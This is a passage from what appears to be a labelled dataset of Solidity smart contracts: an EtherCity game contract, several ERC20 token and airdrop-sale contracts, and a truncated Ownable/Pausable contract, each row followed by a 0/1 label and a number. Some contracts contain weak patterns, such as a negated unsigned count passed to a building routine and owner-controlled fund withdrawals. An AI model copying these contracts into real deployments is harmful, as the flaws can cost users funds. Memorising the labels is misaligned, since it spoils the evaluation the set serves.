wss.ethShopFundRemain = wss.ethShopFund;
prev = wss;
sday++;
}
return prev;
}
function TestWorldSnapshotInternal(uint256 day) private view returns(WORLDSNAPSHOT memory)
{
uint256 fndf;
uint256 sday;
sday = day;
while (!worldSnapshot[sday].valid)
sday--;
WORLDSNAPSHOT memory prev = worldSnapshot[sday];
sday++;
while (sday <= day)
{
WORLDSNAPSHOT memory wss = WORLDSNAPSHOT({valid:true, ethDay:0, ethBalance:0, ethRankFund:0, ethShopFund:0, ethRankFundRemain:0, ethShopFundRemain:0, population:prev.population, credits:prev.credits, lasttime:prev.lasttime / 24 hours + 1});
wss.ethBalance = prev.ethBalance * 90 /100;
fndf = prev.ethBalance - wss.ethBalance;
wss.ethRankFund = fndf * 70 / 100;
wss.ethShopFund = fndf - wss.ethRankFund;
wss.ethRankFund = wss.ethRankFund;
wss.ethShopFund = wss.ethShopFund;
wss.ethRankFundRemain = wss.ethRankFund;
wss.ethShopFundRemain = wss.ethShopFund;
prev = wss;
sday++;
}
return prev;
}
function ValidateCitySnapshotInternal(address player, uint256 day) private returns(CITYSNAPSHOT storage)
{
uint256 sday;
sday = day;
while (!citySnapshot[player][sday].valid)
sday--;
CITYSNAPSHOT storage css = citySnapshot[player][sday];
sday++;
while (sday <= day)
{
citySnapshot[player][sday] = CITYSNAPSHOT({valid:true, population:css.population, credits:css.credits, shopCredits:css.credits, lasttime:sday * 24 hours});
css = citySnapshot[player][sday];
sday++;
}
return css;
}
function TestCitySnapshotInternal(address player, uint256 day) private view returns(CITYSNAPSHOT memory)
{
uint256 sday;
sday = day;
while (!citySnapshot[player][sday].valid)
sday--;
CITYSNAPSHOT memory css = citySnapshot[player][sday];
sday++;
while (sday <= day)
{
css = CITYSNAPSHOT({valid:true, population:css.population, credits:css.credits, shopCredits:css.credits, lasttime:sday * 24 hours});
sday++;
}
return css;
}
}
contract EtherCity
{
struct WORLDDATA
{
uint256 ethBalance;
uint256 ethDev;
uint256 population;
uint256 credits;
uint256 starttime;
}
struct WORLDSNAPSHOT
{
uint256 population;
uint256 credits;
uint256 lasttime;
}
struct CITYDATA
{
uint256 credits;
uint256 population;
uint256 creditsPerSec;
uint256 landOccupied;
uint256 landUnoccupied;
uint256 lasttime;
}
struct CITYSNAPSHOT
{
uint256 population;
uint256 credits;
uint256 shopCredits;
uint256 lasttime;
}
struct BUILDINGDATA
{
uint256 constructCount;
uint256 upgradeCount;
uint256 population;
uint256 creditsPerSec;
}
uint256 private constant INTFLOATDIV = 100;
address private owner;
address private admin;
EtherCityConfig private config;
EtherCityData private data;
EtherCityRank private rank;
event OnConstructed(address player, uint256 id, uint256 count);
event OnUpdated(address player, uint256 id, uint256 count);
event OnDemolished(address player, uint256 id, uint256 count);
event OnBuyLands(address player, uint256 count);
event OnBuyCredits(address player, uint256 eth);
constructor() public payable
{
owner = msg.sender;
}
function GetVersion() external pure returns(uint256)
{
return 1001;
}
function IsPlayer() external view returns(bool)
{
return data.IsPlayer(msg.sender);
}
function StartCity() external
{
uint256 ethland;
uint256 maxland;
uint256 initcrdt;
uint256 crdtsec;
uint256 landcount;
(ethland, maxland, initcrdt, crdtsec, landcount) = config.GetInitData();
CITYDATA memory cdata = dtCreateCityData(msg.sender, crdtsec, landcount);
UpdateCityData(cdata, 0, initcrdt, 0, 0);
dtSetCityData(msg.sender, cdata);
}
function GetCityName(address player) external view returns(bytes32)
{
return data.GetCityName(player);
}
function SetCityName(bytes32 name) external
{
data.SetCityName(msg.sender, name);
}
function GetWorldSnapshot() external view returns(uint256 ethFund, uint256 population, uint256 credits,
uint256 lasttime, uint256 nexttime, uint256 timestamp)
{
WORLDSNAPSHOT memory wss;
(ethFund, wss) = dtTestWorldSnapshot(nowday());
population = wss.population;
credits = wss.credits;
lasttime = wss.lasttime;
nexttime = daytime(nowday() + 1);
timestamp = block.timestamp;
}
function GetCityData() external view returns(bytes32 cityname, uint256 population, uint256 credits, uint256 creditsPerSec,
uint256 occupied, uint256 unoccupied, uint256 timestamp)
{
CITYDATA memory cdata = dtGetCityData(msg.sender);
cityname = data.GetCityName(msg.sender);
credits = CalcIncCredits(cdata) + cdata.credits;
population = cdata.population;
creditsPerSec = cdata.creditsPerSec;
occupied = cdata.landOccupied;
unoccupied = cdata.landUnoccupied;
timestamp = block.timestamp;
}
function GetCitySnapshot() external view returns(uint256 population, uint256 credits, uint256 timestamp)
{
CITYSNAPSHOT memory css = dtTestCitySnapshot(msg.sender, nowday());
population = css.population;
credits = css.credits;
timestamp = block.timestamp;
}
function GetBuildingData(uint256 id) external view returns(uint256 constructCount, uint256 upgradeCount, uint256 population, uint256 creditsPerSec)
{
BUILDINGDATA memory bdata = dtGetBuildingData(msg.sender, id);
constructCount = bdata.constructCount;
upgradeCount = bdata.upgradeCount;
(population, creditsPerSec) = CalcBuildingParam(bdata);
}
function GetConstructCost(uint256 id, uint256 count) external view returns(uint256 cnstcrdt, uint256 cnsteth)
{
(cnstcrdt, cnsteth) = config.GetConstructCost(id, count);
}
function ConstructByCredits(uint256 id, uint256 count) external
{
CITYDATA memory cdata = dtGetCityData(msg.sender);
require(count > 0);
if (!ConstructBuilding(cdata, id, count, true))
require(false);
dtSetCityData(msg.sender, cdata);
emit OnConstructed(msg.sender, id, count);
}
function ConstructByEth(uint256 id, uint256 count) external payable
{
CITYDATA memory cdata = dtGetCityData(msg.sender);
require(count > 0);
if (!ConstructBuilding(cdata, id, count, false))
require(false);
dtSetCityData(msg.sender, cdata);
emit OnConstructed(msg.sender, id, count);
}
function BuyLandsByEth(uint256 count) external payable
{
uint256 ethland;
uint256 maxland;
require(count > 0);
(ethland, maxland) = config.GetLandData();
CITYDATA memory cdata = dtGetCityData(msg.sender);
require(cdata.landOccupied + cdata.landUnoccupied + count <= maxland);
UpdateEthBalance(ethland * count, msg.value);
UpdateCityData(cdata, 0, 0, 0, 0);
cdata.landUnoccupied += count;
dtSetCityData(msg.sender, cdata);
emit OnBuyLands(msg.sender, count);
}
function BuyCreditsByEth(uint256 eth) external payable
{
CITYDATA memory cdata = dtGetCityData(msg.sender);
require(eth > 0);
UpdateEthBalance(eth, msg.value);
UpdateCityData(cdata, 0, 0, 0, 0);
cdata.credits += eth * config.GetCreditsPerEth();
dtSetCityData(msg.sender, cdata);
emit OnBuyCredits(msg.sender, eth);
}
function GetUpgradeCost(uint256 id, uint256 count) external view returns(uint256)
{
return config.GetUpgradeCost(id, count);
}
function UpgradeByCredits(uint256 id, uint256 count) external
{
uint256 a_population;
uint256 a_crdtsec;
uint256 updcrdt;
CITYDATA memory cdata = dtGetCityData(msg.sender);
require(count > 0);
(a_population, a_crdtsec) = UpdateBuildingParam(cdata, id, 0, count);
require((a_population > 0) || (a_crdtsec > 0));
updcrdt = config.GetUpgradeCost(id, count);
UpdateCityData(cdata, a_population, 0, updcrdt, a_crdtsec);
if (a_population != 0)
rank.UpdateRank(msg.sender, cdata.population, cdata.lasttime);
dtSetCityData(msg.sender, cdata);
emit OnUpdated(msg.sender, id, count);
}
function GetDemolishCost(uint256 id, uint256 count) external view returns (uint256)
{
require(count > 0);
return config.GetDemolishCost(id, count);
}
function DemolishByCredits(uint256 id, uint256 count) external
{
uint256 a_population;
uint256 a_crdtsec;
uint256 dmlcrdt;
CITYDATA memory cdata = dtGetCityData(msg.sender);
require(count > 0);
(a_population, a_crdtsec) = UpdateBuildingParam(cdata, id, -count, 0);
require((a_population > 0) || (a_crdtsec > 0));
dmlcrdt = config.GetDemolishCost(id, count);
UpdateCityData(cdata, a_population, 0, dmlcrdt, a_crdtsec);
if (a_population != 0)
rank.UpdateRank(msg.sender, cdata.population, cdata.lasttime);
dtSetCityData(msg.sender, cdata);
emit OnDemolished(msg.sender, id, count);
}
function GetEthBalance() external view returns(uint256 ethBal)
{
return data.GetWithdrawBalance(msg.sender);
}
function WithdrawEther() external
{
data.WithdrawEther(msg.sender);
CITYDATA memory cdata = dtGetCityData(msg.sender);
UpdateCityData(cdata, 0, 0, 0, 0);
dtSetCityData(msg.sender, cdata);
}
function GetEthShop() external view returns(uint256 shopEth, uint256 shopCredits)
{
(shopEth, shopCredits) = data.GetEthShop(msg.sender);
}
function TradeEthShop(uint256 credits) external
{
data.TradeEthShop(msg.sender, credits);
CITYDATA memory cdata = dtGetCityData(msg.sender);
UpdateCityData(cdata, 0, 0, credits, 0);
dtSetCityData(msg.sender, cdata);
}
function adminIsAdmin() external view returns(bool)
{
return msg.sender == owner || msg.sender == admin;
}
function adminSetAdmin(address addr) external
{
require(msg.sender == owner);
admin = addr;
}
function adminSetConfig(address dta, address cfg, address rnk) external
{
require(msg.sender == owner || msg.sender == admin);
data = EtherCityData(dta);
config = EtherCityConfig(cfg);
rank = EtherCityRank(rnk);
}
function adminAddWorldBalance() external payable
{
require(msg.value > 0);
require(msg.sender == owner || msg.sender == admin);
UpdateEthBalance(msg.value, msg.value);
}
function adminGetBalance() external view returns(uint256 dta_bal, uint256 cfg_bal, uint256 rnk_bal, uint256 cty_bal)
{
require(msg.sender == owner || msg.sender == admin);
dta_bal = address(data).balance;
cfg_bal = address(config).balance;
rnk_bal = address(rank).balance;
cty_bal = address(this).balance;
}
function nowday() private view returns(uint256)
{
return block.timestamp / 24 hours;
}
function daytime(uint256 day) private pure returns(uint256)
{
return day * 24 hours;
}
function ConstructBuilding(CITYDATA memory cdata, uint256 id, uint256 count, bool byCredit) private returns(bool)
{
uint256 a_population;
uint256 a_crdtsec;
uint256 cnstcrdt;
uint256 cnsteth;
if (count > cdata.landUnoccupied)
return false;
(a_population, a_crdtsec) = UpdateBuildingParam(cdata, id, count, 0);
if ((a_population == 0) && (a_crdtsec == 0))
return false;
(cnstcrdt, cnsteth) = config.GetConstructCost(id, count);
if (!byCredit)
UpdateEthBalance(cnsteth, msg.value);
UpdateCityData(cdata, a_population, 0, cnstcrdt, a_crdtsec);
if (a_population != 0)
rank.UpdateRank(msg.sender, cdata.population, cdata.lasttime);
return true;
}
function UpdateBuildingParam(CITYDATA memory cdata, uint256 id, uint256 cnstcount, uint256 updcount) private returns(uint256 a_population, uint256 a_crdtsec)
{
uint256 population;
uint256 crdtsec;
uint256 maxupd;
BUILDINGDATA memory bdata = dtGetBuildingData(msg.sender, id);
if (bdata.upgradeCount == 0)
bdata.upgradeCount = 1;
a_population = 0;
a_crdtsec = 0;
(population, crdtsec, maxupd) = config.GetBuildingParam(id);
if (cnstcount > cdata.landUnoccupied)
return;
cdata.landOccupied += cnstcount;
cdata.landUnoccupied -= cnstcount;
if (bdata.upgradeCount + updcount > maxupd)
return;
(a_population, a_crdtsec) = CalcBuildingParam(bdata);
bdata.population = population;
bdata.creditsPerSec = crdtsec;
bdata.constructCount += cnstcount;
bdata.upgradeCount += updcount;
(population, crdtsec) = CalcBuildingParam(bdata);
dtSetBuildingData(msg.sender, id, bdata);
a_population = population - a_population;
a_crdtsec = crdtsec - a_crdtsec;
}
function CalcBuildingParam(BUILDINGDATA memory bdata) private pure returns(uint256 population, uint256 crdtsec)
{
uint256 count;
count = bdata.constructCount * bdata.upgradeCount;
population = bdata.population * count;
crdtsec = bdata.creditsPerSec * count;
}
function CalcIncCredits(CITYDATA memory cdata) private view returns(uint256)
{
return SafeMath.muldiv(cdata.creditsPerSec, block.timestamp - cdata.lasttime, INTFLOATDIV);
}
function UpdateCityData(CITYDATA memory cdata, uint256 pop, uint256 inccrdt, uint256 deccrdt, uint256 crdtsec) private
{
uint256 day;
day = nowday();
inccrdt += CalcIncCredits(cdata);
require((cdata.credits + inccrdt) >= deccrdt);
inccrdt -= deccrdt;
cdata.population += pop;
cdata.credits += inccrdt;
cdata.creditsPerSec += crdtsec;
cdata.lasttime = block.timestamp;
WORLDDATA memory wdata = dtGetWorldData();
wdata.population += pop;
wdata.credits += inccrdt;
dtSetWorldData(wdata);
WORLDSNAPSHOT memory wss = dtValidateWorldSnapshot(day);
wss.population += pop;
wss.credits += inccrdt;
wss.lasttime = block.timestamp;
dtSetWorldSnapshot(day, wss);
CITYSNAPSHOT memory css = dtValidateCitySnapshot(msg.sender, day);
css.population += pop;
css.credits += inccrdt;
css.shopCredits += inccrdt;
css.lasttime = block.timestamp;
dtSetCitySnapshot(msg.sender, day, css);
}
function UpdateEthBalance(uint256 eth, uint256 val) private returns(bool)
{
uint256 devf;
uint256 fndf;
uint256 rnkf;
if (eth > val)
{
fndf = dtGetEthBalance(msg.sender);
require(eth - val <= fndf);
dtSetEthBalance(msg.sender, fndf - eth + val);
}
devf = eth * 17 / 100;
fndf = eth * 33 / 100;
rnkf = fndf * 70 / 100;
data.UpdateEthBalance.value(val)(eth - devf - fndf, devf, rnkf, fndf - rnkf);
}
function dtGetWorldData() private view returns(WORLDDATA memory wdata)
{
(wdata.ethBalance, wdata.ethDev, wdata.population, wdata.credits, wdata.starttime) = data.GetWorldData();
}
function dtSetWorldData(WORLDDATA memory wdata) private
{
data.SetWorldData(wdata.ethBalance, wdata.ethDev, wdata.population, wdata.credits, wdata.starttime);
}
function dtSetWorldSnapshot(uint256 day, WORLDSNAPSHOT memory wss) private
{
data.SetWorldSnapshot(day, true, wss.population, wss.credits, wss.lasttime);
}
function dtCreateCityData(address player, uint256 crdtsec, uint256 landcount) private returns(CITYDATA memory)
{
data.CreateCityData(player, crdtsec, landcount);
return dtGetCityData(player);
}
function dtGetCityData(address player) private view returns(CITYDATA memory cdata)
{
(cdata.credits, cdata.population, cdata.creditsPerSec, cdata.landOccupied, cdata.landUnoccupied, cdata.lasttime) = data.GetCityData(player);
}
function dtSetCityData(address player, CITYDATA memory cdata) private
{
data.SetCityData(player, cdata.credits, cdata.population, cdata.creditsPerSec, cdata.landOccupied, cdata.landUnoccupied, cdata.lasttime);
}
function dtSetCitySnapshot(address player, uint256 day, CITYSNAPSHOT memory css) private
{
data.SetCitySnapshot(player, day, true, css.population, css.credits, css.shopCredits, css.lasttime);
}
function dtGetBuildingData(address player, uint256 id) private view returns(BUILDINGDATA memory bdata)
{
(bdata.constructCount, bdata.upgradeCount, bdata.population, bdata.creditsPerSec) = data.GetBuildingData(player, id);
}
function dtSetBuildingData(address player, uint256 id, BUILDINGDATA memory bdata) private
{
data.SetBuildingData(player, id, bdata.constructCount, bdata.upgradeCount, bdata.population, bdata.creditsPerSec);
}
function dtGetEthBalance(address player) private view returns(uint256)
{
return data.GetEthBalance(player);
}
function dtSetEthBalance(address player, uint256 eth) private
{
data.SetEthBalance(player, eth);
}
function dtAddEthBalance(address player, uint256 eth) private
{
data.AddEthBalance(player, eth);
}
function dtValidateWorldSnapshot(uint256 day) private returns(WORLDSNAPSHOT memory wss)
{
uint256 ethRankFund;
(ethRankFund, wss.population, wss.credits, wss.lasttime) = data.ValidateWorldSnapshot(day);
}
function dtTestWorldSnapshot(uint256 day) private view returns(uint256 ethRankFund, WORLDSNAPSHOT memory wss)
{
(ethRankFund, wss.population, wss.credits, wss.lasttime) = data.TestWorldSnapshot(day);
}
function dtValidateCitySnapshot(address player, uint256 day) private returns(CITYSNAPSHOT memory css)
{
(css.population, css.credits, css.shopCredits, css.lasttime) = data.ValidateCitySnapshot(player, day);
}
function dtTestCitySnapshot(address player, uint256 day) private view returns(CITYSNAPSHOT memory css)
{
(css.population, css.credits, css.shopCredits, css.lasttime) = data.TestCitySnapshot(player, day);
}
} | 0 | 847 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract KuberToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "KUB";
name = "Kuber Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x729250be25dC878Dd400Bf5BeF702DE77c83493e] = _totalSupply;
emit Transfer(address(0), 0x729250be25dC878Dd400Bf5BeF702DE77c83493e, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,289 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract AltcoinToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract InvestLTCS is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
address _tokenContract = 0x6bf91fa5472b5a28278b5027e9120c78f1df4127;
AltcoinToken thetoken = AltcoinToken(_tokenContract);
uint256 public tokensPerEth = 50000e4;
uint256 public tokensPerAirdrop = 5e4;
uint256 public bonus = 0;
uint256 public airdropcounter = 0;
uint256 public constant minContribution = 1 ether / 1000;
uint256 public constant extraBonus = 1 ether / 10;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Distr(address indexed to, uint256 amount);
event TokensPerEthUpdated(uint _tokensPerEth);
event TokensPerAirdropUpdated(uint _tokensPerEth);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function InvestLTCS () public {
owner = msg.sender;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function updateTokensPerAirdrop(uint _tokensPerAirdrop) public onlyOwner {
tokensPerAirdrop = _tokensPerAirdrop;
emit TokensPerAirdropUpdated(_tokensPerAirdrop);
}
function () external payable {
if ( msg.value >= minContribution) {
sendTokens();
}
else if ( msg.value < minContribution) {
airdropcounter = airdropcounter + 1;
sendAirdrop();
}
}
function sendTokens() private returns (bool) {
uint256 tokens = 0;
require( msg.value >= minContribution );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
bonus = 0;
if ( msg.value >= extraBonus ) {
bonus = tokens / 4;
}
tokens = tokens + bonus;
sendtokens(thetoken, tokens, investor);
}
function sendAirdrop() private returns (bool) {
uint256 tokens = 0;
require( airdropcounter < 1000 );
tokens = tokensPerAirdrop;
address holder = msg.sender;
sendtokens(thetoken, tokens, holder);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
AltcoinToken t = AltcoinToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function resetAirdrop() onlyOwner public {
airdropcounter=0;
}
function withdrawAltcoinTokens(address anycontract) onlyOwner public returns (bool) {
AltcoinToken anytoken = AltcoinToken(anycontract);
uint256 amount = anytoken.balanceOf(address(this));
return anytoken.transfer(owner, amount);
}
function sendtokens(address contrato, uint256 amount, address who) private returns (bool) {
AltcoinToken alttoken = AltcoinToken(contrato);
return alttoken.transfer(who, amount);
}
} | 1 | 2,948 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DSCToken is StandardToken {
string public name;
string public symbol;
uint256 public decimals = 18;
address public creator;
function DSCToken(uint256 initialSupply, address _creator) public {
require (msg.sender == _creator);
creator=_creator;
balances[msg.sender] = initialSupply * 10**decimals;
totalSupply = initialSupply * 10**decimals;
name = "Dreamscape";
symbol = "DSC";
Transfer(0x0, msg.sender, totalSupply);
}
function transferMulti(address[] _to, uint256[] _value) public returns (bool success) {
require (_value.length==_to.length);
for(uint256 i = 0; i < _to.length; i++) {
require (balances[msg.sender] >= _value[i]);
require (_to[i] != 0x0);
super.transfer(_to[i], _value[i]);
}
return true;
}
} | 1 | 2,442 |
pragma solidity ^0.4.18;
contract PieTokenBase {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
function PieTokenBase() public {
}
function totalSupply() public view returns (uint256) {
return _supply;
}
function balanceOf(address src) public view returns (uint256) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint256) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
assert(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
assert(_balances[src] >= wad);
assert(_approvals[src][msg.sender] >= wad);
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint256 wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
assert((z = x - y) <= x);
}
}
contract PieToken is PieTokenBase {
string public symbol = "PIE";
string public name = "CANDY PIE";
uint256 public decimals = 18;
address public owner;
function PieToken() public {
_supply = 10*(10**8)*(10**18);
owner = msg.sender;
_balances[msg.sender] = _supply;
}
function transfer(address dst, uint wad) public returns (bool) {
return super.transfer(dst, wad);
}
function transferFrom( address src, address dst, uint wad ) public returns (bool) {
return super.transferFrom(src, dst, wad);
}
function approve(address guy, uint wad) public returns (bool) {
return super.approve(guy, wad);
}
function burn(uint128 wad) public {
require(msg.sender==owner);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_supply = sub(_supply, wad);
}
} | 1 | 3,409 |
pragma solidity 0.5.7;
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner, "Only Owner");
_;
}
modifier onlyNewOwner() {
require(msg.sender == newOwner, "Only New Owner");
_;
}
modifier notNull(address _address) {
require(_address != address(0), "Address is Null");
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public notNull(_newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner {
address oldOwner = owner;
owner = newOwner;
newOwner = address(0);
emit OwnershipTransferred(oldOwner, owner);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
contract Pausable is Ownable {
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "only when not paused");
_;
}
modifier whenPaused() {
require(paused, "only when paused");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Pause();
event Unpause();
}
contract ERC20Interface {
function totalSupply() public view returns(uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
